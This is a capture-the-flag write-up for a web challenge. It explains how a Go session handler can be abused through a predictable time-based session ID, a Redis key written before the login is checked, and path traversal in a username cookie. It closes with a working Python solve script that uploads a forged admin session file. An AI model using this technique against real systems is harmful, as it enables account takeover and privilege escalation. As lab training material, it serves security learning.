Desires
8 minutes to read
We are given a web project composed of a web server written in Go using Fiber, and an internal web server written in Node.js using Express JS:
$ tree challenge
challenge
├── service
│ ├── files
│ ├── go.mod
│ ├── go.sum
│ ├── main.go
│ ├── services
│ │ ├── http.go
│ │ └── sessions.go
│ ├── static
│ │ └── styles.css
│ ├── utils
│ │ ├── redis.go
│ │ └── response.go
│ └── views
│ ├── admin.html
│ ├── dashboard.html
│ ├── login.html
│ ├── register.html
│ └── upload.html
└── sso
├── index.js
├── package-lock.json
└── package.json
8 directories, 16 files
We also have a Dockerfile, so we can start a Docker container to test our solution.
Enumeration
If we open the website, we will see a login form:

After registering and logging in the website, we can only upload files to the server:

It’s a good time to take a look at the source code.
Source code analysis
If we take a look at the sso Node.js project, we will see that everything looks safe. So, we might want to leave for later.
The Go server provides the following endpoints:
func main() {
engine := html.New("./views", ".html")
app := fiber.New(fiber.Config{
Views: engine,
})
app.Static("/static", "./static")
authenticatedGroup := app.Group("/user", services.SessionMiddleware)
app.Get("/register", services.ViewRegister)
app.Get("/", services.ViewLogin)
app.Post("/register", services.RegisterHandler)
app.Post("/login", services.LoginHandler)
// Upload an archive
authenticatedGroup.Post("/upload", services.UploadEnigma)
authenticatedGroup.Get("/upload", services.ViewUpload)
authenticatedGroup.Get("/admin", services.DesireIsEnigma)
log.Fatal(app.Listen(":1337"))
}
We already know /register, /login and /upload, but there is another one /admin, managed by DesireIsEnigma:
func DesireIsEnigma(c *fiber.Ctx) error {
user := c.Locals("user")
if user == nil {
return utils.ErrorResponse(c, "User not found", http.StatusForbidden)
}
userStruct, ok := user.(User)
if !ok {
return c.SendStatus(http.StatusInternalServerError)
}
if userStruct.Role == "admin" {
return c.Render("admin", fiber.Map{"FLAG": os.Getenv("FLAG")})
}
return utils.ErrorResponse(c, "You are not admin !", http.StatusForbidden)
}
From here we get that the objective is to have a session with the admin role in order to get the flag.
Sessions are managed by this middleware:
func SessionMiddleware(c *fiber.Ctx) error {
sessionID := c.Cookies("session")
username := c.Cookies("username")
if sessionID == "" || username == "" {
return c.SendStatus(http.StatusUnauthorized)
}
session, err := GetSession(username)
if err != nil {
return c.SendStatus(http.StatusInternalServerError)
}
c.Locals("user", *session)
return c.Next()
}
There are two cookies: session and username. Both of them are set when we log in:
func LoginHandler(c *fiber.Ctx) error {
var credentials Credentials
if err := c.BodyParser(&credentials); err != nil {
return utils.ErrorResponse(c, err.Error(), http.StatusBadRequest)
}
sessionID := fmt.Sprintf("%x", sha256.Sum256([]byte(strconv.FormatInt(time.Now().Unix(), 10))))
err := PrepareSession(sessionID, credentials.Username)
if err != nil {
return utils.ErrorResponse(c, "Error wrong!", http.StatusInternalServerError)
}
user, err := loginUser(credentials.Username, credentials.Password)
if err != nil {
return utils.ErrorResponse(c, "Invalid username or Password", http.StatusBadRequest)
}
sessId := CreateSession(sessionID, user)
cookie := fiber.Cookie{
Name: "session",
Value: sessId,
Expires: time.Now().Add(3600 * time.Hour),
}
c.Cookie(&cookie)
usernameCookie := fiber.Cookie{
Name: "username",
Value: credentials.Username,
Expires: time.Now().Add(3600 * time.Hour),
}
c.Cookie(&usernameCookie)
return c.Redirect("/user/upload")
}
Notice how the server calls PrepareSession before actually checking our credentials with loginUser (this performs a web request to the internal sso server, which is secure). If everything is correct, then it calls CreateSession and sets the cookies.
These are said functions:
func CreateSession(sessionID string, user *User) string {
sessionJSON, _ := json.Marshal(user)
// Check if sessions folder exists, create it if it doesn't
folderPath := filepath.Join("/tmp/sessions/", user.Username)
if _, err := os.Stat(folderPath); os.IsNotExist(err) {
if err := os.MkdirAll(folderPath, 0755); err != nil {
log.Fatal(err)
}
}
// Write session file
sessionFilePath := filepath.Join(folderPath, sessionID)
err := os.WriteFile(sessionFilePath, sessionJSON, 0644)
if err != nil {
log.Fatal(err)
}
return sessionID
}
func PrepareSession(sessionID string, username string) error {
return utils.RedisClient.Set(username, sessionID, 0)
}
The PrepareSession function simply sets a key-value pair (username-sessionID) in a Redis database. On the other hand, CreateSession writes the JSON object containing our session parameters into a file: /tmp/sessions/<username>/<sessionID>. Another point to note is the sessionID, which is computed as a SHA256 hash of the current Unix time in seconds.
The following sso endpoints, which show that the role is fixed to user:
app.post("/register", (req, res) => {
const { username, password } = req.body;
db.get("SELECT * FROM users WHERE username = ?", [username], (err, row) => {
if (err) {
return res.status(500).json({ error: err.message });
}
if (row) {
return res.status(400).json({ error: "Username already exists" });
}
bcrypt.hash(password, 10, (err, hash) => {
if (err) {
return res.status(500).json({ error: err.message });
}
db.run(
"INSERT INTO users (username, password,role) VALUES (?, ?,?)",
[username, hash, "user"],
function (err) {
if (err) {
return res.status(500).json({ error: err.message });
}
res.status(201).json({ message: "User registered successfully" });
},
);
});
});
});
app.post("/login", (req, res) => {
const { username, password } = req.body;
db.get("SELECT * FROM users WHERE username = ?", [username], (err, row) => {
if (err) {
return res.status(500).json({ error: err.message });
}
if (!row) {
return res.status(400).json({ error: "Invalid username or password" });
}
bcrypt.compare(password, row.password, (err, result) => {
if (err) {
return res.status(500).json({ error: err.message });
}
if (!result) {
return res.status(400).json({ error: "Invalid username or password" });
}
return res.status(200).json({ username: row.username, id: row.id, role: row.role });
});
});
});
Then, this is GetSession:
func GetSession(username string) (*User, error) {
sessionID, err := utils.RedisClient.Get(username)
if err != nil {
return nil, err
}
sessionJSON, err := os.ReadFile(filepath.Join("/tmp/sessions", username, sessionID))
if err != nil {
return nil, err
}
var session User
err = json.Unmarshal(sessionJSON, &session)
if err != nil {
return nil, err
}
return &session, nil
}
Basically, it takes the sessionID from the key-value pair in Redis (querying by username), and reads from /tmp/sessions/<username>/<sessionID> to get the JSON object that contains the session information.
Finally, we have the upload functionality:
func UploadEnigma(c *fiber.Ctx) error {
user := c.Locals("user")
if user == nil {
return utils.ErrorResponse(c, "User not found", http.StatusForbidden)
}
userStruct, ok := user.(User)
if !ok {
return c.SendStatus(http.StatusInternalServerError)
}
file, err := c.FormFile("archive")
if err != nil {
return err
}
filename := uuid.New().String() + filepath.Ext(file.Filename)
tempFile := filepath.Join("./uploads", filename)
if err := c.SaveFile(file, filepath.Join("./uploads", filename)); err != nil {
return utils.ErrorResponse(c, "Error saving file", http.StatusInternalServerError)
}
userFolder := filepath.Join("./files", userStruct.Username)
if _, err := os.Stat(userFolder); os.IsNotExist(err) {
if err := os.MkdirAll(userFolder, 0755); err != nil {
log.Fatal(err)
}
}
err = archiver.Unarchive(tempFile, userFolder)
if err != nil {
return err
}
return utils.MessageResponse(c, "Archive uploaded and extracted successfully", http.StatusAccepted)
}
Basically, we upload a file as an archive parameter in a POST request. The filename changed to a UUID, preserving the extension. It is saved under uploads, and then it is unarchived and saved under files/<username>.
Last but not least, we can notice that RegisterHandler does not allow usernames containing /, . or \:
func RegisterHandler(c *fiber.Ctx) error {
var credentials Credentials
if err := c.BodyParser(&credentials); err != nil {
return utils.ErrorResponse(c, err.Error(), http.StatusBadRequest)
}
if strings.ContainsAny(credentials.Username, "/.\\") {
return utils.ErrorResponse(c, "Invalid Username", http.StatusBadRequest)
}
if err := registerUser(credentials.Username, credentials.Password); err != nil {
return utils.ErrorResponse(c, err.Error(), http.StatusInternalServerError)
}
return c.Redirect("/")
}
Summary
So, the summary is:
- We need to have an
adminrole in order to callDesireIsEnigma - Redis holds
username-sessionIDpairs sessionIDis the SHA256 hash of the current Unix time in seconds- Sessions are JSON objects saved as
/tmp/sessions/<username>/<sessionID> LoginHandlercallsPrepareSessionbefore verifying credentialsPrepareSessionsets a newusername-sessionIDpairCreateSessionwrites the session filesRegisterUserdoes not allow usernames that contain/,.or\
Solution
The main vulnerability is that LoginHandler calls PrepareSession before verifying our credentials. This results in a new key-value pair stored in Redis that might be wrong, and it is never cleaned up.
The objective is to make GetSession return a controlled JSON object with admin role. We have an upload functionality, but all uploaded files will go to uploads and files/<username>.
Here I went down a rabbithole, because the unarchive functionality is using mholt/archiver/v3 version 3.5.0, which seems to be vulnerable to path traversal, according to CVE-2024-0406. However, I was not able to find any proof of concept, and I didn’t manage to exploit it myself.
But this is not a problem, because the idea is to upload a ZIP file that contains our malicious JSON file, named as <sessionID>. It will be unarchived and stored at files/<username>.
Next, we can try to log in using a username like ../../app/services/files/<username>. Obviously, the login process will fail, but the idea is to have a key-value pair stores in Redis. If we perform this request right after logging in with another account, we will have the same sessionID, because it depends on time.
With this, we can now change our username cookie to ../../app/services/files/<username>, and it will be correct since there is a key in Redis that contains our sessionID. Next, the resolved JSON file will be our controlled file, which was named as <sessionID>, so everything is good.
As a result, we will have a session as admin, so we will be able to call /user/admin and get the flag.
Implementation
Since time is involved, we need to use a script to perform all the tasks quickly. First, we start by registering an account, logging in and getting the sessionID:
URL = 'http://127.0.0.1:1337' if len(sys.argv) == 1 else f'http://{sys.argv[1]}'
USERNAME = os.urandom(16).hex()
PASSWORD = 'x'
s = requests.session()
s.post(f'{URL}/register', data={'username': USERNAME, 'password': PASSWORD})
s.post(f'{URL}/login', data={'username': USERNAME, 'password': PASSWORD})
session_id = s.cookies.get('session')
assert isinstance(session_id, str)
Now, we create the ZIP file contianing the file called as <sessionID>, with a JSON document with admin role:
zip_file = os.urandom(16).hex() + '.zip'
with zipfile.ZipFile(zip_file, 'w') as z:
z.writestr(session_id, json.dumps({'username': USERNAME, 'id': 1337, 'role': 'admin'}))
Now, we need to upload it:
with open(zip_file, 'rb') as f:
s.post(f'{URL}/user/upload', files={'archive': f})
os.remove(zip_file)
We know that it will be stored at files/<username>/<sessionID>. Now, we use a malicious username to log in and hence create a key-value pair in Redis:
username = '../../app/service/files/' + USERNAME
requests.post(f'{URL}/login', data={'username': username, 'password': PASSWORD})
At this point, if we use the malicious username as the username cookie, we will fool the server into resolving our malicious JSON file to get admin role, so we can successfully call /user/admin and get the flag:
r = requests.get(f'{URL}/user/admin', cookies={'username': username, 'session': session_id})
print(re.findall(r'HTB{.*?}', r.text)[0])
Flag
At this point, we can execute the script and capture the flag:
$ python3 solve.py
HTB{REDACTED}
$ python3 solve.py 94.237.55.96:54442
HTB{S0m3tIm3s_Its_J4usT_A_B!G_M3ss}
The full script can be found in here: solve.py.